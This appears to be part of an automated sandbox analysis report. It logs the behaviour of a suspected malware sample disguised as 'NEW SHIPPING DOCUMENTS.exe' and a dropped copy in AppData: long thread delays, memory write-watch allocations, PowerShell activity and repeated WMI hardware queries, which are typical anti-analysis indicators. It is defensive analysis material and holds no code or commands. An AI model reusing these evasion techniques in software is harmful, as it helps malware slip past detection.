Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory allocated: BE60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory allocated: CE60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory allocated: 1240000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory allocated: 2FE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Memory allocated: 2E20000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199954	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199828	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199719	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199609	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199500	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199391	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199281	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199172	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1199063	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198938	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198813	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198688	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198578	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198469	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198344	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198234	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1198125	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197989	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197846	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197719	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197609	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197500	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197391	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197266	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197141	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1197031	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1196922	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1196813	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Thread delayed: delay time: 1196688	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199953
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199843
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199734
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199625
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199515
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199405
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199296
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199187
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1199078
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198949
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198610
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198484
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198375
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198265
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198156
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1198047
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197937
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197828
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197718
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197609
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197499
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197390
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197280
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197171
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1197062
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196953
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196843
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196734
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196625
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196514
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196400
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Thread delayed: delay time: 1196281

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5207	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 367	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7460	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Window / User API: threadDelayed 4710	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Window / User API: threadDelayed 5135	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Window / User API: threadDelayed 3547
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Window / User API: threadDelayed 6295

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 6080	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5692	Thread sleep count: 5207 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4916	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5764	Thread sleep count: 367 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4832	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2052	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5936	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -99871s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -99750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -99640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -99531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -99418s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -99312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -99093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -98875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -98765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -98656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -98541s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -98437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -98328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -98218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -98109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -98000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -97890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -97780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1199954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1199828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1199719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1199609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1199500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1199391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1199281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1199172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1199063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1198938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1198813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1198688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1198578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1198469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1198344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1198234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1198125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1197989s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1197846s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1197719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1197609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1197500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1197391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1197266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1197141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1197031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1196922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1196813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe TID: 5636	Thread sleep time: -1196688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 5700	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -34126476536362649s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -99891s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -99780s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -99672s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -99562s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -99453s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -99315s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -99105s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -98985s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -98860s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -98735s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -98610s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -98485s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -98360s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -98235s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -98110s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -97985s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -97860s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1199953s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1199843s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1199734s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1199625s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1199515s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1199405s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1199296s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1199187s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1199078s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1198949s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1198610s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1198484s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1198375s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1198265s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1198156s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1198047s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1197937s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1197828s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1197718s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1197609s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1197499s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1197390s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1197280s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1197171s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1197062s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1196953s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1196843s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1196734s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1196625s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1196514s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1196400s >= -30000s
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe TID: 2248	Thread sleep time: -1196281s >= -30000s

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
